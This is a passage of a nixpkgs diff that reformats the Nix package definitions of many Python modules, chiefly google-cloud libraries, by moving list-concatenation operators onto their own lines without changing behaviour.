index c24e3c16f85e..5cd1266db7cd 100644
--- a/pkgs/development/python-modules/funsor/default.nix
+++ b/pkgs/development/python-modules/funsor/default.nix
@@ -74,19 +74,18 @@ buildPythonPackage rec {
 
   pythonImportsCheck = [ "funsor" ];
 
-  disabledTests =
-    [
-      # `test_torch_save` got broken by the update of torch (2.3.1 -> 2.4.0):
-      # FutureWarning: You are using `torch.load` with `weights_only=False`...
-      # TODO: Try to re-enable this test at next release
-      "test_torch_save"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Failures related to JIT
-      # RuntimeError: required keyword attribute 'Subgraph' has the wrong type
-      "test_local_param_ok"
-      "test_plate_ok"
-    ];
+  disabledTests = [
+    # `test_torch_save` got broken by the update of torch (2.3.1 -> 2.4.0):
+    # FutureWarning: You are using `torch.load` with `weights_only=False`...
+    # TODO: Try to re-enable this test at next release
+    "test_torch_save"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Failures related to JIT
+    # RuntimeError: required keyword attribute 'Subgraph' has the wrong type
+    "test_local_param_ok"
+    "test_plate_ok"
+  ];
 
   meta = {
     description = "Functional tensors for probabilistic programming";
diff --git a/pkgs/development/python-modules/gdown/default.nix b/pkgs/development/python-modules/gdown/default.nix
index 610a99aeaf89..6077411fdeb3 100644
--- a/pkgs/development/python-modules/gdown/default.nix
+++ b/pkgs/development/python-modules/gdown/default.nix
@@ -39,7 +39,8 @@ buildPythonPackage rec {
     tqdm
     setuptools
     six
-  ] ++ requests.optional-dependencies.socks;
+  ]
+  ++ requests.optional-dependencies.socks;
 
   checkPhase = ''
     $out/bin/gdown --help > /dev/null
diff --git a/pkgs/development/python-modules/geoalchemy2/default.nix b/pkgs/development/python-modules/geoalchemy2/default.nix
index df1ed39d0dff..ac3b0e6e2057 100644
--- a/pkgs/development/python-modules/geoalchemy2/default.nix
+++ b/pkgs/development/python-modules/geoalchemy2/default.nix
@@ -39,7 +39,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     alembic
     pytestCheckHook
-  ] ++ optional-dependencies.shapely;
+  ]
+  ++ optional-dependencies.shapely;
 
   disabledTestPaths = [
     # tests require live databases
diff --git a/pkgs/development/python-modules/geopandas/default.nix b/pkgs/development/python-modules/geopandas/default.nix
index b9d9ad296f29..21fbe0858855 100644
--- a/pkgs/development/python-modules/geopandas/default.nix
+++ b/pkgs/development/python-modules/geopandas/default.nix
@@ -73,7 +73,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     rtree
-  ] ++ optional-dependencies.all;
+  ]
+  ++ optional-dependencies.all;
 
   doCheck = !stdenv.hostPlatform.isDarwin;
 
diff --git a/pkgs/development/python-modules/gevent/default.nix b/pkgs/development/python-modules/gevent/default.nix
index 7dd7b178fb43..bc996a338ab3 100644
--- a/pkgs/development/python-modules/gevent/default.nix
+++ b/pkgs/development/python-modules/gevent/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
     cython
     setuptools
     wheel
-  ] ++ lib.optionals (!isPyPy) [ cffi ];
+  ]
+  ++ lib.optionals (!isPyPy) [ cffi ];
 
   buildInputs = [
     libev
@@ -52,7 +53,8 @@ buildPythonPackage rec {
     importlib-metadata
     zope-event
     zope-interface
-  ] ++ lib.optionals (!isPyPy) [ greenlet ];
+  ]
+  ++ lib.optionals (!isPyPy) [ greenlet ];
 
   env = lib.optionalAttrs stdenv.cc.isGNU {
     NIX_CFLAGS_COMPILE = "-Wno-error=incompatible-pointer-types";
@@ -72,7 +74,8 @@ buildPythonPackage rec {
       gunicorn
       pika
       ;
-  } // lib.filterAttrs (k: v: lib.hasInfix "gevent" k) python.pkgs;
+  }
+  // lib.filterAttrs (k: v: lib.hasInfix "gevent" k) python.pkgs;
 
   GEVENTSETUP_EMBED = "0";
 
diff --git a/pkgs/development/python-modules/gfal2-python/default.nix b/pkgs/development/python-modules/gfal2-python/default.nix
index 03cd735683ca..85bbda66cc23 100644
--- a/pkgs/development/python-modules/gfal2-python/default.nix
+++ b/pkgs/development/python-modules/gfal2-python/default.nix
@@ -37,7 +37,8 @@ buildPythonPackage rec {
     inherit gfal2;
     tests = {
       inherit gfal2-util;
-    } // lib.optionalAttrs (gfal2-util != null) gfal2-util.tests or { };
+    }
+    // lib.optionalAttrs (gfal2-util != null) gfal2-util.tests or { };
   };
   meta = with lib; {
     description = "Python binding for gfal2";
diff --git a/pkgs/development/python-modules/gftools/default.nix b/pkgs/development/python-modules/gftools/default.nix
index fbf2d936b531..15ea3798bcee 100644
--- a/pkgs/development/python-modules/gftools/default.nix
+++ b/pkgs/development/python-modules/gftools/default.nix
@@ -126,50 +126,49 @@ buildPythonPackage rec {
     setuptools-scm
   ];
 
-  dependencies =
-    [
-      absl-py
-      afdko
-      axisregistry
-      babelfont
-      beautifulsoup4
-      brotli
-      bumpfontversion
-      font-v
-      fontfeatures
-      fontmake
-      fonttools
-      gflanguages
-      gfsubsets
-      glyphsets
-      glyphslib
-      jinja2
-      nanoemoji
-      networkx
-      ninja
-      ots-python
-      packaging
-      pillow
-      protobuf
-      pygit2
-      pygithub
-      pyyaml
-      requests
-      rich
-      ruamel-yaml
-      setuptools
-      skia-pathops
-      statmake
-      strictyaml
-      tabulate
-      ttfautohint-py
-      ufomerge
-      unidecode
-      vharfbuzz
-      vttlib
-    ]
-    ++ fonttools.optional-dependencies.ufo
-    ++ fontmake.optional-dependencies.json;
+  dependencies = [
+    absl-py
+    afdko
+    axisregistry
+    babelfont
+    beautifulsoup4
+    brotli
+    bumpfontversion
+    font-v
+    fontfeatures
+    fontmake
+    fonttools
+    gflanguages
+    gfsubsets
+    glyphsets
+    glyphslib
+    jinja2
+    nanoemoji
+    networkx
+    ninja
+    ots-python
+    packaging
+    pillow
+    protobuf
+    pygit2
+    pygithub
+    pyyaml
+    requests
+    rich
+    ruamel-yaml
+    setuptools
+    skia-pathops
+    statmake
+    strictyaml
+    tabulate
+    ttfautohint-py
+    ufomerge
+    unidecode
+    vharfbuzz
+    vttlib
+  ]
+  ++ fonttools.optional-dependencies.ufo
+  ++ fontmake.optional-dependencies.json;
 
   optional-dependencies = {
     qa = [
diff --git a/pkgs/development/python-modules/gidgethub/default.nix b/pkgs/development/python-modules/gidgethub/default.nix
index ac7549c9891e..2fb2353b0d27 100644
--- a/pkgs/development/python-modules/gidgethub/default.nix
+++ b/pkgs/development/python-modules/gidgethub/default.nix
@@ -31,7 +31,8 @@ buildPythonPackage rec {
   propagatedBuildInputs = [
     uritemplate
     pyjwt
-  ] ++ pyjwt.optional-dependencies.crypto;
+  ]
+  ++ pyjwt.optional-dependencies.crypto;
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/git-revise/default.nix b/pkgs/development/python-modules/git-revise/default.nix
index 3f3526b70481..c68bd8f97653 100644
--- a/pkgs/development/python-modules/git-revise/default.nix
+++ b/pkgs/development/python-modules/git-revise/default.nix
@@ -24,14 +24,13 @@ buildPythonPackage rec {
 
   disabled = pythonOlder "3.8";
 
-  nativeCheckInputs =
-    [
-      git
-      pytestCheckHook
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      gnupg
-    ];
+  nativeCheckInputs = [
+    git
+    pytestCheckHook
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    gnupg
+  ];
 
   disabledTests = lib.optionals stdenv.hostPlatform.isDarwin [
     # `gpg: agent_genkey failed: No agent running`
diff --git a/pkgs/development/python-modules/github3-py/default.nix b/pkgs/development/python-modules/github3-py/default.nix
index 893508c56043..80fda5cc7ee1 100644
--- a/pkgs/development/python-modules/github3-py/default.nix
+++ b/pkgs/development/python-modules/github3-py/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
     python-dateutil
     requests
     uritemplate
-  ] ++ pyjwt.optional-dependencies.crypto;
+  ]
+  ++ pyjwt.optional-dependencies.crypto;
 
   pythonImportsCheck = [ "github3" ];
 
diff --git a/pkgs/development/python-modules/githubkit/default.nix b/pkgs/development/python-modules/githubkit/default.nix
index b1f8fb1d5aca..eeb5dd14eca4 100644
--- a/pkgs/development/python-modules/githubkit/default.nix
+++ b/pkgs/development/python-modules/githubkit/default.nix
@@ -58,7 +58,8 @@ buildPythonPackage rec {
     pytestCheckHook
     pytest-cov-stub
     pytest-xdist
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "githubkit" ];
 
diff --git a/pkgs/development/python-modules/gitpython/default.nix b/pkgs/development/python-modules/gitpython/default.nix
index b74989151567..e3e9d05ae8d8 100644
--- a/pkgs/development/python-modules/gitpython/default.nix
+++ b/pkgs/development/python-modules/gitpython/default.nix
@@ -27,7 +27,8 @@ buildPythonPackage rec {
     ddt
     gitdb
     pkgs.gitMinimal
-  ] ++ lib.optionals (pythonOlder "3.10") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [ typing-extensions ];
 
   postPatch = ''
     substituteInPlace git/cmd.py \
diff --git a/pkgs/development/python-modules/globus-sdk/default.nix b/pkgs/development/python-modules/globus-sdk/default.nix
index 706b3e3610dd..1547a2c015ab 100644
--- a/pkgs/development/python-modules/globus-sdk/default.nix
+++ b/pkgs/development/python-modules/globus-sdk/default.nix
@@ -37,7 +37,8 @@ buildPythonPackage rec {
     cryptography
     requests
     pyjwt
-  ] ++ lib.optionals (pythonOlder "3.10") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [ typing-extensions ];
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/glom/default.nix b/pkgs/development/python-modules/glom/default.nix
index acd0da2f0b59..bd49c09f12c8 100644
--- a/pkgs/development/python-modules/glom/default.nix
+++ b/pkgs/development/python-modules/glom/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   preCheck = ''
     # test_cli.py checks the output of running "glom"
diff --git a/pkgs/development/python-modules/gluonts/default.nix b/pkgs/development/python-modules/gluonts/default.nix
index 4e3c2b79565f..a9e4cdf5b62f 100644
--- a/pkgs/development/python-modules/gluonts/default.nix
+++ b/pkgs/development/python-modules/gluonts/default.nix
@@ -84,7 +84,8 @@ buildPythonPackage rec {
     pyarrow
     statsmodels
     which
-  ] ++ optional-dependencies.torch;
+  ]
+  ++ optional-dependencies.torch;
 
   preCheck = ''export HOME=$(mktemp -d)'';
 
@@ -93,15 +94,14 @@ buildPythonPackage rec {
     "test/torch/model"
   ];
 
-  disabledTests =
-    [
-      # tries to access network
-      "test_against_former_evaluator"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # RuntimeError: *** -[__NSPlaceholderArray initWithObjects:count:]: attempt to insert nil object from objects[1]
-      "test_forecast"
-    ];
+  disabledTests = [
+    # tries to access network
+    "test_against_former_evaluator"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # RuntimeError: *** -[__NSPlaceholderArray initWithObjects:count:]: attempt to insert nil object from objects[1]
+    "test_forecast"
+  ];
 
   meta = {
     description = "Probabilistic time series modeling in Python";
diff --git a/pkgs/development/python-modules/google-auth-oauthlib/default.nix b/pkgs/development/python-modules/google-auth-oauthlib/default.nix
index e70ffa46a06d..8fe37d31db90 100644
--- a/pkgs/development/python-modules/google-auth-oauthlib/default.nix
+++ b/pkgs/development/python-modules/google-auth-oauthlib/default.nix
@@ -36,17 +36,17 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     mock
     pytestCheckHook
-  ] ++ optional-dependencies.tool;
+  ]
+  ++ optional-dependencies.tool;
 
-  disabledTests =
-    [
-      # Flaky test. See https://github.com/NixOS/nixpkgs/issues/288424#issuecomment-1941609973.
-      "test_run_local_server_occupied_port"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # This test fails if the hostname is not associated with an IP (e.g., in `/etc/hosts`).
-      "test_run_local_server_bind_addr"
-    ];
+  disabledTests = [
+    # Flaky test. See https://github.com/NixOS/nixpkgs/issues/288424#issuecomment-1941609973.
+    "test_run_local_server_occupied_port"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # This test fails if the hostname is not associated with an IP (e.g., in `/etc/hosts`).
+    "test_run_local_server_bind_addr"
+  ];
 
   pythonImportsCheck = [ "google_auth_oauthlib" ];
 
diff --git a/pkgs/development/python-modules/google-auth/default.nix b/pkgs/development/python-modules/google-auth/default.nix
index 33b582c6cfd4..3a7827767671 100644
--- a/pkgs/development/python-modules/google-auth/default.nix
+++ b/pkgs/development/python-modules/google-auth/default.nix
@@ -77,7 +77,8 @@ buildPythonPackage rec {
     pytest-localserver
     pytestCheckHook
     responses
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [
     "google.auth"
diff --git a/pkgs/development/python-modules/google-cloud-access-context-manager/default.nix b/pkgs/development/python-modules/google-cloud-access-context-manager/default.nix
index 2ac9bc3914ea..e2577e1c8b67 100644
--- a/pkgs/development/python-modules/google-cloud-access-context-manager/default.nix
+++ b/pkgs/development/python-modules/google-cloud-access-context-manager/default.nix
@@ -26,7 +26,8 @@ buildPythonPackage rec {
   dependencies = [
     google-api-core
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   # No tests in repo
   doCheck = false;
diff --git a/pkgs/development/python-modules/google-cloud-appengine-logging/default.nix b/pkgs/development/python-modules/google-cloud-appengine-logging/default.nix
index 57bd81774604..65c9ad0bf86f 100644
--- a/pkgs/development/python-modules/google-cloud-appengine-logging/default.nix
+++ b/pkgs/development/python-modules/google-cloud-appengine-logging/default.nix
@@ -33,7 +33,8 @@ buildPythonPackage rec {
     grpc-google-iam-v1
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-cloud-artifact-registry/default.nix b/pkgs/development/python-modules/google-cloud-artifact-registry/default.nix
index afa2e4d8dcd9..24459aaf3e5e 100644
--- a/pkgs/development/python-modules/google-cloud-artifact-registry/default.nix
+++ b/pkgs/development/python-modules/google-cloud-artifact-registry/default.nix
@@ -33,7 +33,8 @@ buildPythonPackage rec {
     grpc-google-iam-v1
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/google-cloud-asset/default.nix b/pkgs/development/python-modules/google-cloud-asset/default.nix
index b2f695a75854..edb53bae6a80 100644
--- a/pkgs/development/python-modules/google-cloud-asset/default.nix
+++ b/pkgs/development/python-modules/google-cloud-asset/default.nix
@@ -42,7 +42,8 @@ buildPythonPackage rec {
     libcst
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   optional-dependencies = {
     libcst = [ libcst ];
diff --git a/pkgs/development/python-modules/google-cloud-automl/default.nix b/pkgs/development/python-modules/google-cloud-automl/default.nix
index eb8c15cde5f8..8a333b52c36e 100644
--- a/pkgs/development/python-modules/google-cloud-automl/default.nix
+++ b/pkgs/development/python-modules/google-cloud-automl/default.nix
@@ -35,7 +35,8 @@ buildPythonPackage rec {
     google-api-core
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   optional-dependencies = {
     libcst = [ libcst ];
diff --git a/pkgs/development/python-modules/google-cloud-bigquery-datatransfer/default.nix b/pkgs/development/python-modules/google-cloud-bigquery-datatransfer/default.nix
index 7486fb4b065c..c0e3b5346f2c 100644
--- a/pkgs/development/python-modules/google-cloud-bigquery-datatransfer/default.nix
+++ b/pkgs/development/python-modules/google-cloud-bigquery-datatransfer/default.nix
@@ -35,7 +35,8 @@ buildPythonPackage rec {
     proto-plus
     protobuf
     pytz
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-cloud-bigquery-logging/default.nix b/pkgs/development/python-modules/google-cloud-bigquery-logging/default.nix
index ac6a036f99f0..89cfb3747ff5 100644
--- a/pkgs/development/python-modules/google-cloud-bigquery-logging/default.nix
+++ b/pkgs/development/python-modules/google-cloud-bigquery-logging/default.nix
@@ -33,7 +33,8 @@ buildPythonPackage rec {
     grpc-google-iam-v1
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-cloud-bigquery-storage/default.nix b/pkgs/development/python-modules/google-cloud-bigquery-storage/default.nix
index e662d1a88ce1..2d63743221f3 100644
--- a/pkgs/development/python-modules/google-cloud-bigquery-storage/default.nix
+++ b/pkgs/development/python-modules/google-cloud-bigquery-storage/default.nix
@@ -32,7 +32,8 @@ buildPythonPackage rec {
   dependencies = [
     google-api-core
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   optional-dependencies = {
     fastavro = [ fastavro ];
diff --git a/pkgs/development/python-modules/google-cloud-bigquery/default.nix b/pkgs/development/python-modules/google-cloud-bigquery/default.nix
index 7dc93f48590b..b98ab101924b 100644
--- a/pkgs/development/python-modules/google-cloud-bigquery/default.nix
+++ b/pkgs/development/python-modules/google-cloud-bigquery/default.nix
@@ -58,7 +58,8 @@ buildPythonPackage rec {
     protobuf
     python-dateutil
     requests
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   optional-dependencies = {
     bqstorage = [
@@ -75,19 +76,18 @@ buildPythonPackage rec {
     ipython = [ ipython ];
   };
 
-  nativeCheckInputs =
-    [
-      freezegun
-      google-cloud-datacatalog
-      google-cloud-storage
-      google-cloud-testutils
-      mock
-      psutil
-      pytest-xdist
-      pytestCheckHook
-    ]
-    ++ optional-dependencies.pandas
-    ++ optional-dependencies.ipython;
+  nativeCheckInputs = [
+    freezegun
+    google-cloud-datacatalog
+    google-cloud-storage
+    google-cloud-testutils
+    mock
+    psutil
+    pytest-xdist
+    pytestCheckHook
+  ]
+  ++ optional-dependencies.pandas
+  ++ optional-dependencies.ipython;
 
   # prevent google directory from shadowing google imports
   preCheck = ''
diff --git a/pkgs/development/python-modules/google-cloud-bigtable/default.nix b/pkgs/development/python-modules/google-cloud-bigtable/default.nix
index 0c0b5f2d269b..c227508812d8 100644
--- a/pkgs/development/python-modules/google-cloud-bigtable/default.nix
+++ b/pkgs/development/python-modules/google-cloud-bigtable/default.nix
@@ -45,7 +45,8 @@ buildPythonPackage rec {
     grpc-google-iam-v1
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   optional-dependencies = {
     libcst = [ libcst ];
diff --git a/pkgs/development/python-modules/google-cloud-compute/default.nix b/pkgs/development/python-modules/google-cloud-compute/default.nix
index 5d0d2300d1c4..c9e81f3845f2 100644
--- a/pkgs/development/python-modules/google-cloud-compute/default.nix
+++ b/pkgs/development/python-modules/google-cloud-compute/default.nix
@@ -31,7 +31,8 @@ buildPythonPackage rec {
     google-api-core
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-cloud-container/default.nix b/pkgs/development/python-modules/google-cloud-container/default.nix
index 6a2d0c0fb325..8ec5f8728078 100644
--- a/pkgs/development/python-modules/google-cloud-container/default.nix
+++ b/pkgs/development/python-modules/google-cloud-container/default.nix
@@ -33,7 +33,8 @@ buildPythonPackage rec {
     libcst
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-cloud-core/default.nix b/pkgs/development/python-modules/google-cloud-core/default.nix
index ed4200d8d654..4ca56061c17d 100644
--- a/pkgs/development/python-modules/google-cloud-core/default.nix
+++ b/pkgs/development/python-modules/google-cloud-core/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     mock
     pytestCheckHook
-  ] ++ optional-dependencies.grpc;
+  ]
+  ++ optional-dependencies.grpc;
 
   # prevent google directory from shadowing google imports
   preCheck = ''
diff --git a/pkgs/development/python-modules/google-cloud-datacatalog/default.nix b/pkgs/development/python-modules/google-cloud-datacatalog/default.nix
index c1a0856f772e..c9f4c31c3326 100644
--- a/pkgs/development/python-modules/google-cloud-datacatalog/default.nix
+++ b/pkgs/development/python-modules/google-cloud-datacatalog/default.nix
@@ -35,7 +35,8 @@ buildPythonPackage rec {
     libcst
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-cloud-dataproc/default.nix b/pkgs/development/python-modules/google-cloud-dataproc/default.nix
index 37e671a7f299..4b9c9605f74c 100644
--- a/pkgs/development/python-modules/google-cloud-dataproc/default.nix
+++ b/pkgs/development/python-modules/google-cloud-dataproc/default.nix
@@ -35,7 +35,8 @@ buildPythonPackage rec {
     libcst
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-cloud-datastore/default.nix b/pkgs/development/python-modules/google-cloud-datastore/default.nix
index efd207015fe9..080e126e52e5 100644
--- a/pkgs/development/python-modules/google-cloud-datastore/default.nix
+++ b/pkgs/development/python-modules/google-cloud-datastore/default.nix
@@ -35,7 +35,8 @@ buildPythonPackage rec {
     google-cloud-core
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   optional-dependencies = {
     libcst = [ libcst ];
diff --git a/pkgs/development/python-modules/google-cloud-dlp/default.nix b/pkgs/development/python-modules/google-cloud-dlp/default.nix
index 87e39d057cb1..b575d0ad8465 100644
--- a/pkgs/development/python-modules/google-cloud-dlp/default.nix
+++ b/pkgs/development/python-modules/google-cloud-dlp/default.nix
@@ -32,7 +32,8 @@ buildPythonPackage rec {
     google-api-core
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     google-cloud-testutils
diff --git a/pkgs/development/python-modules/google-cloud-error-reporting/default.nix b/pkgs/development/python-modules/google-cloud-error-reporting/default.nix
index 845c16d01984..02715e429323 100644
--- a/pkgs/development/python-modules/google-cloud-error-reporting/default.nix
+++ b/pkgs/development/python-modules/google-cloud-error-reporting/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
     google-cloud-logging
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     google-cloud-testutils
diff --git a/pkgs/development/python-modules/google-cloud-firestore/default.nix b/pkgs/development/python-modules/google-cloud-firestore/default.nix
index 7f11a1982b96..92affb761a47 100644
--- a/pkgs/development/python-modules/google-cloud-firestore/default.nix
+++ b/pkgs/development/python-modules/google-cloud-firestore/default.nix
@@ -36,7 +36,8 @@ buildPythonPackage rec {
     google-cloud-core
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     aiounittest
diff --git a/pkgs/development/python-modules/google-cloud-iam-logging/default.nix b/pkgs/development/python-modules/google-cloud-iam-logging/default.nix
index 70125b2cca3e..43b515d6e4e0 100644
--- a/pkgs/development/python-modules/google-cloud-iam-logging/default.nix
+++ b/pkgs/development/python-modules/google-cloud-iam-logging/default.nix
@@ -33,7 +33,8 @@ buildPythonPackage rec {
     grpc-google-iam-v1
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-cloud-iam/default.nix b/pkgs/development/python-modules/google-cloud-iam/default.nix
index f928680d3faf..02d53dcb7afc 100644
--- a/pkgs/development/python-modules/google-cloud-iam/default.nix
+++ b/pkgs/development/python-modules/google-cloud-iam/default.nix
@@ -37,7 +37,8 @@ buildPythonPackage rec {
     libcst
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-cloud-iot/default.nix b/pkgs/development/python-modules/google-cloud-iot/default.nix
index 73ece34efc16..3ba1152f0f26 100644
--- a/pkgs/development/python-modules/google-cloud-iot/default.nix
+++ b/pkgs/development/python-modules/google-cloud-iot/default.nix
@@ -31,7 +31,8 @@ buildPythonPackage rec {
     libcst
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-cloud-kms/default.nix b/pkgs/development/python-modules/google-cloud-kms/default.nix
index 4dc7048dd737..c42286f0ba41 100644
--- a/pkgs/development/python-modules/google-cloud-kms/default.nix
+++ b/pkgs/development/python-modules/google-cloud-kms/default.nix
@@ -33,7 +33,8 @@ buildPythonPackage rec {
     google-api-core
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-cloud-language/default.nix b/pkgs/development/python-modules/google-cloud-language/default.nix
index c38f3601728c..b15f3b122051 100644
--- a/pkgs/development/python-modules/google-cloud-language/default.nix
+++ b/pkgs/development/python-modules/google-cloud-language/default.nix
@@ -30,7 +30,8 @@ buildPythonPackage rec {
     google-api-core
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/google-cloud-logging/default.nix b/pkgs/development/python-modules/google-cloud-logging/default.nix
index 9c9cca8a1517..11a57fbafe3e 100644
--- a/pkgs/development/python-modules/google-cloud-logging/default.nix
+++ b/pkgs/development/python-modules/google-cloud-logging/default.nix
@@ -46,7 +46,8 @@ buildPythonPackage rec {
     opentelemetry-api
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     django
diff --git a/pkgs/development/python-modules/google-cloud-monitoring/default.nix b/pkgs/development/python-modules/google-cloud-monitoring/default.nix
index f38283312b7e..d39630d6816e 100644
--- a/pkgs/development/python-modules/google-cloud-monitoring/default.nix
+++ b/pkgs/development/python-modules/google-cloud-monitoring/default.nix
@@ -33,7 +33,8 @@ buildPythonPackage rec {
     google-api-core
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   optional-dependencies = {
     pandas = [ pandas ];
@@ -44,7 +45,8 @@ buildPythonPackage rec {
     mock
     pytestCheckHook
     pytest-asyncio
-  ] ++ optional-dependencies.pandas;
+  ]
+  ++ optional-dependencies.pandas;
 
   disabledTests = [
     # Test requires credentials
diff --git a/pkgs/development/python-modules/google-cloud-netapp/default.nix b/pkgs/development/python-modules/google-cloud-netapp/default.nix
index 572b18ad7983..7002c737b263 100644
--- a/pkgs/development/python-modules/google-cloud-netapp/default.nix
+++ b/pkgs/development/python-modules/google-cloud-netapp/default.nix
@@ -33,7 +33,8 @@ buildPythonPackage rec {
     google-auth
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-cloud-network-connectivity/default.nix b/pkgs/development/python-modules/google-cloud-network-connectivity/default.nix
index b3ea85b95c11..f4c17cb8e229 100644
--- a/pkgs/development/python-modules/google-cloud-network-connectivity/default.nix
+++ b/pkgs/development/python-modules/google-cloud-network-connectivity/default.nix
@@ -33,7 +33,8 @@ buildPythonPackage rec {
     grpc-google-iam-v1
     proto-plus
     protobuf
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/google-cloud-org-policy/default.nix b/pkgs/development/python-modules/google-cloud-org-policy/default.nix
index c51774dbc921..237dfb9715b6 100644
--- a/pkgs/development/python-modules/google-cloud-org-policy/default.nix
+++ b/pkgs/development/python-modules/google-cloud-org-policy/default.nix
@@ -30,7 +30,8 @@ buildPythonPackage rec {
     google-api-core
     proto-plus
     protobuf
